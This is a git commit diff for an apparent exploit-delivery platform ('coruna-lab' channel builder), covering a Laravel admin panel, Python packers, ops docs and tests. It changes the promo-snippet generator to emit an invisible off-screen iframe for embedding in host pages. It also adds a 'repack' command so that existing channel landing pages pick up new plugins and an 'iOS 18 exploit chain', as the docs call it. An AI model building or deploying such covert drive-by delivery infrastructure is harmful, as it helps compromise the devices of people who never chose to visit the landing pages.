This commit is contained in:
hashbro
2026-08-26 03:14:15 +08:00
parent 5c9ceca4ea
commit 5cb5744b7a
10 changed files with 227 additions and 45 deletions
@@ -21,16 +21,29 @@ class TokenviewWebhookController extends Controller
$payload = is_array($decoded) ? $decoded : [];
}
Log::info('tokenview webhook received', [
'ip' => $request->ip(),
'method' => $request->method(),
'has_signature' => is_string($signature) && $signature !== '',
'body_bytes' => strlen($raw),
'payload' => $payload !== [] ? $payload : $raw,
]);
// Tokenview probes the webhook (often unsigned GET/POST) before a
// sign key exists. Always 200 + non-empty body; only skip ingest.
$signed = $monitor->verifySignature($raw, $signature);
if (! $signed) {
Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)');
Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)', [
'ip' => $request->ip(),
'body_bytes' => strlen($raw),
]);
} elseif ($payload !== []) {
try {
$monitor->handleWebhook($payload);
} catch (\Throwable $e) {
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
Log::warning('tokenview webhook handle failed: '.$e->getMessage(), [
'exception' => $e::class,
]);
}
}
+6 -22
View File
@@ -174,35 +174,19 @@ class Channel extends Model
/**
* Hidden iframe snippet for embedding the landing URL (same as admin「复制推广代码」).
* src is resolved at paste-time from the host page's location.
*/
public function promoIframeSnippet(?string $url = null): ?string
{
$path = $this->landingPathFromUrl($url) ?? $this->landingPath();
if ($path === '') {
return null;
}
if (! str_starts_with($path, '/')) {
$path = '/'.$path;
}
if (str_contains($path, '"') || str_contains($path, "'") || str_contains($path, '?')) {
$path = $this->landingPath();
}
// Telegram copy_text max is 256. Relative src resolves against the host page.
return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"'.$path.'",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>';
}
private function landingPathFromUrl(?string $url): ?string
{
$url = trim((string) $url);
$url = trim((string) ($url ?? ($this->supportLinks()[0] ?? '')));
if ($url === '') {
$base = rtrim((string) config('app.url'), '/');
if ($base === '') {
return null;
}
$path = parse_url($url, PHP_URL_PATH);
$url = $base.$this->landingPath();
}
return is_string($path) && $path !== '' ? $path : null;
return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
}
public static function randomChannelId(): string
+70 -2
View File
@@ -11,7 +11,7 @@ class ChannelProjectService
{
public const SUPPORT_TEMPLATES = ['test', 'blank'];
public const DEFAULT_SUPPORT_TEMPLATE = 'test';
public const DEFAULT_SUPPORT_TEMPLATE = 'blank';
public const BUILDER_OLD = Channel::BUILDER_OLD;
@@ -198,8 +198,74 @@ class ChannelProjectService
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
}
private function generateNew(string $channelId, string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE): array
/**
* Rebuild existing new-builder channels in place (same channel_id / ver patch).
* Shared /details + staged weifile are built once from XXBB_CHANNEL_C, then each
* public/channel/{id}/ tree is overwritten. Channel DB rows are not changed.
*
* @param list<string>|null $channelIds null = all builder_type=new rows
* @return array{shared: array<string, mixed>, channels: list<array<string, mixed>>}
*/
public function rebuildNewChannels(
?array $channelIds = null,
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
bool $rebuildShared = true,
): array {
$ids = $this->resolveNewChannelIds($channelIds);
if ($ids === []) {
throw new RuntimeException('没有可重打的新版渠道(builder_type=new)');
}
$shared = [];
if ($rebuildShared) {
$shared = $this->buildSharedArtifacts($this->requireEnvChannelC(), false);
}
$channels = [];
foreach ($ids as $id) {
$channels[] = $this->generateNew($id, $supportTemplate, rebuildShared: false);
}
return [
'shared' => $shared,
'channels' => $channels,
];
}
/**
* @param list<string>|null $channelIds
* @return list<string>
*/
public function resolveNewChannelIds(?array $channelIds = null): array
{
if ($channelIds === null) {
return Channel::query()
->where('builder_type', self::BUILDER_NEW)
->orderBy('id')
->pluck('channel_id')
->map(static fn ($id) => Channel::normalizeNewChannelId((string) $id))
->filter()
->values()
->all();
}
$ids = [];
foreach ($channelIds as $raw) {
$normalized = Channel::normalizeNewChannelId((string) $raw);
if ($normalized === null) {
throw new RuntimeException('新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1): '.$raw);
}
$ids[] = $normalized;
}
return array_values(array_unique($ids));
}
private function generateNew(
string $channelId,
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
bool $rebuildShared = true,
): array {
$channelId = Channel::normalizeNewChannelId($channelId);
if ($channelId === null) {
throw new RuntimeException('新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)');
@@ -207,7 +273,9 @@ class ChannelProjectService
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
// Shared details + staged weifile always rebuilt from env XXBB_CHANNEL_C (never random).
if ($rebuildShared) {
$this->buildSharedArtifacts($this->requireEnvChannelC(), false);
}
$weifileSrc = $this->stagedWeifileDir();
$detailsSrc = $this->artifactRoot().DIRECTORY_SEPARATOR.'details';
+13
View File
@@ -48,6 +48,19 @@ Admin create (id like `A.B.C1`) runs:
`XXBB_CHANNEL_C` must be set in `.env`. Manual `php artisan xxbb:build` is optional
(ops / refresh shared `/details`); channel create already builds from env.
## 3. Repack existing channels
Old `public/channel/{ver}/` trees do not pick up new plugins / iOS 18 chain until
repacked. Channel id, `XXBB_CHANNEL_C`, and delivery domains stay the same:
```bash
php artisan xxbb:repack # all builder_type=new rows
php artisan xxbb:repack 0.0.01 # one
php artisan xxbb:repack 0.0.01 1.2.AB
php artisan xxbb:repack --dry-run
php artisan xxbb:repack --template=test # 倒计时加载页;默认 blank
```
## Device attribution
- **Old channels:** payload `c` is the 32-hex `channel_id`
+2 -2
View File
@@ -189,7 +189,7 @@ def inject_tjs(weifile_html: str) -> str:
LANDING_TEMPLATES = ("test", "blank")
DEFAULT_LANDING_TEMPLATE = "test"
DEFAULT_LANDING_TEMPLATE = "blank"
LANDING_TEMPLATE_ROOT = xxbb_build.BUILDER_ROOT / "source" / "weifile" / "templates"
@@ -333,7 +333,7 @@ def main() -> int:
"--landing-template",
default=DEFAULT_LANDING_TEMPLATE,
choices=LANDING_TEMPLATES,
help="weifile.html template: test=loading countdown, blank=empty (default: test)",
help="weifile.html template: test=loading countdown, blank=empty (default: blank)",
)
args = parser.parse_args()
+1 -1
View File
@@ -39,7 +39,7 @@ from _common import (
TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
SUPPORT_TEMPLATES = ("test", "blank")
DEFAULT_SUPPORT_TEMPLATE = "test"
DEFAULT_SUPPORT_TEMPLATE = "blank"
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
LAB_SEEDS_NAME = "lab_seeds.json"
RESULT_MARKER = "CORUNA_BUILD_RESULT "
+2 -1
View File
@@ -240,6 +240,7 @@ cd /www/wwwroot/coruna-lab/channel-builder-new
- 渠道身份是 `X.Y.ZZ`(写入 core 的 `ver` / `sdkv`),不是 `c`
- 7zAES 密码槽固定,**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值
- 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`(读 env 中的 c);新建渠道时也会自动 rebuild
- 已有新版渠道要吃上新插件 / iOS 18 利用链:`php artisan xxbb:repack`(可先 `--dry-run`;也可指定 `0.0.01`)。渠道 ID、`XXBB_CHANNEL_C`、投放域名不变,只覆盖 `public/channel/{id}/`
---
@@ -504,7 +505,7 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
| 动作 | 命令 / 操作 |
| --- | --- |
| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details` |
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details`;已有渠道再跑 `php artisan xxbb:repack` |
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
+3 -13
View File
@@ -115,17 +115,7 @@ layui.use(['table', 'form', 'layer'], function () {
}
function promoIframe(url) {
var path = '';
try {
path = new URL(url, location.origin).pathname || '';
} catch (e) {
var m = String(url || '').match(/https?:\/\/[^/]+(\/[^?]*)/i);
path = m ? m[1] : String(url || '');
}
if (!path) path = '/';
if (path.indexOf('?') >= 0) path = path.split('?')[0];
path = path.replace(/["']/g, '');
return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"' + path + '",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))<\/script>';
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
}
function openLinks(row) {
@@ -221,8 +211,8 @@ layui.use(['table', 'form', 'layer'], function () {
var templateBlock = (isAdmin && creating)
? '<div class="layui-form-item" id="LAY-ch-template-item"><label class="layui-form-label">页面模板</label><div class="layui-input-block">' +
'<select name="support_template">' +
'<option value="test"' + ((values.support_template || 'test') === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
'<option value="blank"' + (values.support_template === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
'<option value="blank"' + ((values.support_template || 'blank') === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
'<option value="test"' + (values.support_template === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
'</select>' +
'<div class="layui-form-mid layui-word-aux" id="LAY-ch-template-hint">旧版=support.html;新版=weifile.html(test=loading,blank=空白)</div></div></div>'
: '';
+55
View File
@@ -104,6 +104,61 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
return 0;
})->purpose('Build shared xxbb /details and staged weifile from channel c');
Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-run}', function () {
$ids = array_values(array_filter(array_map('strval', (array) $this->argument('ids'))));
$template = trim((string) $this->option('template'));
$skipShared = (bool) $this->option('skip-shared');
$dryRun = (bool) $this->option('dry-run');
$projects = app(ChannelProjectService::class);
try {
$resolved = $projects->resolveNewChannelIds($ids === [] ? null : $ids);
} catch (Throwable $e) {
$this->error($e->getMessage());
return 1;
}
if ($resolved === []) {
$this->warn('没有可重打的新版渠道(builder_type=new)');
return 0;
}
$this->info(($dryRun ? '将重打' : '重打').' '.count($resolved).' 个新版渠道(渠道 ID / 投放域名不变):');
foreach ($resolved as $id) {
$this->line(' /channel/'.$id);
}
if ($dryRun) {
return 0;
}
try {
$result = $projects->rebuildNewChannels(
$resolved,
$template !== '' ? $template : ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE,
! $skipShared,
);
} catch (Throwable $e) {
$this->error($e->getMessage());
return 1;
}
if (! $skipShared) {
$c = (string) data_get($result, 'shared.seeds.channel_c', config('coruna.xxbb.channel_c', ''));
$this->info('shared XXBB_CHANNEL_C='.$c);
$this->info('details -> /details/');
}
foreach ($result['channels'] as $row) {
$id = (string) ($row['channel_id'] ?? '');
$landing = (string) ($row['support_path'] ?? '/channel/'.$id.'/weifile/weifile.html');
$this->info('packed '.$id.' -> '.$landing);
}
return 0;
})->purpose('Repack existing new-builder channels with latest weifile / details / plugins');
Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () {
$script = base_path('channel-builder-ds/tools/build.py');
if (! is_file($script)) {
@@ -542,6 +542,64 @@ class ChannelProjectServiceTest extends TestCase
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
}
#[Test]
public function it_rebuilds_existing_new_channels_with_shared_build_once(): void
{
$this->stageFakeWeifile();
Channel::query()->create([
'channel_id' => '0.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
Channel::query()->create([
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_OLD,
'user_id' => 0,
'status' => 1,
]);
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new',
'landing_path' => '/channel/0.0.01/weifile/weifile.html',
'details_path' => '/channel/0.0.01/details/',
'channel_dir' => '/channel/0.0.01',
])),
]);
$result = app(ChannelProjectService::class)->rebuildNewChannels();
$this->assertSame(['0.0.01', self::NEW_CHANNEL_ID], array_column($result['channels'], 'channel_id'));
$this->assertArrayHasKey('shared', $result);
Process::assertRanTimes(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'build.py') && str_contains($joined, '--channel-c');
}, 1);
Process::assertRanTimes(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'pack_channel.py');
}, 2);
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'pack_channel.py') && str_contains($joined, '0.0.01');
});
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'pack_channel.py') && str_contains($joined, self::NEW_CHANNEL_ID);
});
}
#[Test]
public function version_format_required_for_new_channel_ids(): void
{